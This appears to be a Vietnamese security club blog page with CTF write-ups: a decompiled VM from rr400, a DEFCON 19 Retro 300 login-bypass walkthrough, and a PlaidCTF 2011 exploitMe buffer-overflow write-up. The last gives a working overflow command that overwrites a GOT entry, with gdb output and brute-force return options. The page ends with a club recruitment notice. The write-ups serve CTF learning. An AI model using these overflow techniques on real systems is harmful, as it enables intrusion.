void __cdecl sub_8048DE0() buff[0] = dword_80E49A4; buff[6] = dword_80E49A4 + 6; if ( dword_80E49A4 + 6 > (unsigned int)dword_80E49AC ) { LABEL_80: fwrite("Illegal instruction.\n", 1u, 0x15u, off_80D3368); exit(0); } buff[1] = *(_BYTE *)dword_80E49A4++; v3 = -((buff[1] & 0x76u) < 1); v4 = *(_BYTE *)(buff[0] + 1); dword_80E49A4 = buff[0] + 2; v5 = (v4 & 0x76u) >= 1 ? 16 : 0; v6 = (*(_BYTE *)(buff[0] + 2) & 0x76u) >= 1 ? 8 : 0; dword_80E49A4 = buff[0] + 3; v7 = v6; buff[3] = *(_BYTE *)(buff[0] + 3); dword_80E49A4 = buff[0] + 4; v9 = (buff[3] & 0x76u) < 1; buff[4] = *(_BYTE *)(buff[0] + 4); dword_80E49A4 = buff[0] + 5; v11 = v5 | (*(_BYTE *)(buff[0] + 5) & 0x76) != 0 | ~v3 & 32; LOBYTE(v11) = v7 | v11; dword_80E49A4 = buff[6]; v2 = ((buff[4] & 0x76u) >= 1 ? 2 : 0) | ~-v9 & 4 | v11; if ( (_BYTE)v2 <= 32u ) { switch ( (_BYTE)v2 ) { case 0x1B: .................
!!!Mình đã lượt bỏ một số đoạn cho ngắn gọn lại
Qua đoạn trên có thể hiểu chương trình đang lấy địa chỉ của buff vào và lấy từng giá trị ra, byte đầu tiên sẽ dùng để kiểm tra dấu ( khi là \x09 thì xor với 0x76 sẽ ra giá trị 0 ), byte thứ 1 sẽ AND với 32, thứ 2 với 16, thứ 3 với 8, thứ 4 với 4, thứ 5 với 2 và thứ 6 với 1. Lấy giá trị này làm v2 và dùng làm OpCode cho VM.
Tổng kết lại chương trình sẽ nhận Space và Tab là giá trị 0 và 1, lấy 7byte đầu tiên để làm Opcode, 32Byte tiếp theo cho Arg1 và 32Byte cho Arg2 bởi vì function đưới đây lấy Arg cho mỗi Opcode trừ đi mỗi lần 32Byte.
int __cdecl sub_8048290() { if ( !dword_80E4FC8 ) exit(0); --dword_80E4FC8; return LODWORD(flt_80E4BC0[dword_80E4FC8]); }
Đó là cách rr400 hiện thực. Và bug nằm ở :
case 0x1E: v66 = sub_8048DA0(); if ( (unsigned int)v66 > 0x7F ) fwrite("Register out of range.\n", 1u, 0x17u, off_80D3368); dword_80E49C0[v66] = sub_8048290(); return;
DC19 Quals Retro 300 small writeup
Sau khi RE xong function quan trọng nhất mình có code như sau:
signed int __cdecl sub_8049D1F(int fd) { int byteRecei; // eax@3 signed int result; // eax@8 char s1[256]; // [sp+10h] [bp-198h]@1 int passCode; // [sp+110h] [bp-98h]@11 char PassCode2_Recv; // [sp+114h] [bp-94h]@15 char v6; // [sp+11Eh] [bp-8Ah]@15 char PassCode_Recv; // [sp+11Fh] [bp-89h]@11 char v8; // [sp+123h] [bp-85h]@11 char *UserPinFromDB; // [sp+124h] [bp-84h]@11 char buffRecei[100]; // [sp+128h] [bp-80h]@3 void *UserName_recv; // [sp+18Ch] [bp-1Ch]@9 int ByteRecei; // [sp+190h] [bp-18h]@6 int byteSend; // [sp+194h] [bp-14h]@3 int v14; // [sp+198h] [bp-10h]@1 int OptionChoose; // [sp+19Ch] [bp-Ch]@19</pre> v14 = recv1(fd, (int)s1, 0x100u, 10); if ( v14 <= 0 ) exit(0); s1[v14] = 0; if ( strcmp(s1, s2) ) exit(0); AntiDebug(); sendIntro(fd); byteSend = send1(fd, "Username:", 0); byteRecei = recv1(fd, (int)buffRecei, 0x63u, 10); ByteRecei = byteRecei; if ( byteRecei > 0 && ByteRecei <= 99 ) { buffRecei[ByteRecei] = 0; UserName_recv = strdup(buffRecei); byteSend = send1(fd, "Passcode:", 0); ByteRecvi = recv1(fd, (int)buffRecei, 0x63u, 10); if ( ByteRecei == 14 ){ buffRecei[14] = 0; strncpy(&PassCode_Recv, buffRecei, 4u); v8 = 0; if ( GetUserPinFromDB((int)UserName_recv, (int)&UserPinFromDB, (int)&passCode) >= 0 ) { if ( strncmp(&PassCode_Recv, UserPinFromDB, 4u) ){ send1(fd, "Bad Username or Pin\n", 0); free(UserName_recv); free(UserPinFromDB); result = 1; } else{ strncpy(&PassCode2_Recv, &buffRecei[4], 0xAu); v6 = 0; printf("sending %s out of buf: %s\n", &PassCode2_Recv, buffRecei); if ( CheckingPassCode2(passCode, &PassCode2_Recv) >= 0 ){ do{ Send2(fd); ByteRecei = recv1(fd, (int)buffRecei, 0x63u, 10); buffRecei[ByteRecei] = 0; if ( ByteRecei == 1 ){ OptionChoose = atoi(buffRecei); if ( (unsigned int)OptionChoose <= 9 ) JUMPOUT(__CS__, (unsigned int)FuncTable[OptionChoose]); send1(fd, "please select from the options presented", 0); } else{ send1(fd, "please select from the options presented", 0); } } while ( OptionChoose != 5 ); free(UserName_recv); free(UserPinFromDB); result = 0;} else{ send1(fd, "Bad Username or Passcode\n", 0); free(UserName_recv); free(UserPinFromDB); result = 1; } } } else{ send1(fd, "Bad Username or Pin\n", 0); free(UserName_recv); result = 1;} } else{ send1(fd, "Bad Username or Pin\n", 0); free(UserName_recv); result = 1; } } else { printf("name overflow attemp: %d vs %d \n", ByteRecei, 100); result = 1; } return result; }
Ở dòng 43 có 1 phép kiểm tra PassCode được đưa vào so vơí passCode lấy ra từ DB
if ( strncmp(&PassCode_Recv, UserPinFromDB, 4u) )
Lưu ý là passCode chia làm 2 phần, phần đầu là Pin gồm 4char và phần còn lại là 10 char PassCode. Trong đó Pin và PassCode sẽ dc lấy ở :
if ( GetUserPinFromDB((int)UserName_recv, (int)&UserPinFromDB, (int)&passCode) >= 0 )
Nếu Pin đưa vào trùng vơí Pin trong DB chương trình sẽ kiểm tra tơí PassCode:
CheckingPassCode2(passCode, &PassCode2_Recv) >= 0 )
Nếu đúng sẽ tùy vào OptionChoose mà gọi vào các function sau:
.rodata:0804A918 FuncTable dd offset NotImpl ; DATA XREF: sub_8049D1F+387 o
.rodata:0804A91C dd offset NotImpl_
.rodata:0804A920 dd offset NotImpl3___
.rodata:0804A924 dd offset NotImpl4
.rodata:0804A928 dd offset NotImpl5
.rodata:0804A92C dd offset NotImpl6
.rodata:0804A930 dd offset NotImpl
.rodata:0804A934 dd offset NotImpl
.rodata:0804A938 dd offset GetKey1
.rodata:0804A93C dd offset send3_
.rodata:0804A93C _rodata ends
GetKey1 chính là function đọc /home/retro300/key và output ra socket. Do vâỵ mục tiêu cuôi cùng chính là pass qua các phép kiểm tra.
Patch chương trình ở AntiDebug();
và dùng gdb để lâý ra các giá trị cần thiết bằng cách breakPoint tại các chỗ so sánh.
Đó là tất cả về rr300!
plaidCtf 2011 – exploitMe writeup
Các bạn có thể download Binary của challenges này ở :
http://repo.shell-storm.org/CTF/PlaidCTF-2011/23-Exploit_Me/exploitMe
Thử chạy chương trình lên chúng ta nhận được:
./exploitMe
Regards, Dolan :}
Sau khi sử dụng decompile ra source C và tìm chuỗi “Regards, Dolan” ta sẽ tới được:
>
int __cdecl sub_8048504(signed int argc, char* argv[])
{
if ( argc <= 3 ) {
puts("Regards, Dolan :} ");
exit(-1); }
sub_8048575(argv[1], strtoll(argv[2]), atoi(argv[3])); return 0;
}
Như vậy chương trình sẽ cần 3 biến đưa vào (1) và gọi hàm sub_8048575 ở (2)Tiếp tục phân tích sub_8048575
void __cdecl sub_8048575(const char *str, int a2, size_t len)
{
size_t t; // [sp+50h][bp-1Ch]
char buff[64]; [1] // [sp+10h] [bp-5Ch]
if ( len <= 71 ) [2]
{
t = len;
strncpy(buff, str, len); [3]
if ( t )
*t = a2; [4]
exit(0);
}
}
Chúng ta sẽ chú ý đến những điểm sau:
[Save EIP][Save EBP]<— 0x1c bytes—>[t][buff]
Để kiểm chứng lại chúng ta thử ghi vào một nơi nào đó! Bởi vì ngay sau phép gán chương trình sẽ gọi exit vì vậy ta sẽ thử bằng các ghi vào GOT của hàm exit.
[26]# objdump -d -j .plt ./exploitMe | grep exit -A4
08048434 :
8048434: ff 25 f4 97 04 08 jmp *0x80497f4
804843a: 68 40 00 00 00 push $0x40
804843f: e9 60 ff ff ff jmp 80483a4 <__gmon_start__@plt-0x10>./exploitMe `python -c ‘print “A”*64+”\xf4\x97\x04\x08″‘` 1094795585 68
Segmentation fault (core dumped)
05:49 [root@debvbox]
(~)[32]# gdb -core=core ./exploitMe
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i686-pc-linux-gnu”.
For bug reporting instructions, please see:
…
Reading symbols from /root/exploitMe…(no debugging symbols found)…done.
[New Thread 3211]warning: Can’t read pathname for load map: Input/output error.
Reading symbols from /lib/i686/cmov/libc.so.6…(no debugging symbols found)…done.
Loaded symbols for /lib/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2…(no debugging symbols found)…done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./exploitMe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAô’.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
Giá trị ở 1094795585 sau khi convert thông qua strtoll sẽ thành 0x41414141
Việc cuối cùng là chọn địa chỉ để return vào, có 2 cách để thực hiện:
i – Bruteforce return vào stack vì lúc này nx không được bật.
ii- Bruteforce giá trị system call execve+2 ( ở cách này ta sẽ return vào execve+2 bởi vì chương trình gọi exit(0) )
Thông báo tuyển thành viên .
Đợt tuyển thành viên này sẽ kéo dài đến hết tuần sau (19/03/2011) . Điều kiện để tham gia như sau :
Tất cả chỉ như vậy. Các bạn vui muốn tham gia vui lòng gửi mail về bkitsec@gmail.com với nội dung như sau :
Họ tên :
MSSV :
Số điện thoại :
Giới thiệu sơ qua về bạn, và nói một ít về một lĩnh vực mà bạn yêu thích .
Và đừng quên đính kèm câu trả lời chi tiết cho các câu hỏi .
Nếu có bất cứ thắc mắc gì, các bạn có thể gửi email về bkitsec@gmail.com , các bạn sẽ nhận được câu trả lời chi tiết nhất 😉 .
Sau khi tuyển thành viên xong, chúng ta sẽ có một buổi gặp gỡ thân mật. Đến lúc đó các bạn sẽ nhận được plan chính thức và những hoạt động chúng ta sẽ phải tiến hành .
Chúc các bạn thành công !
Link câu hỏi : http://bit.ly/gKy18L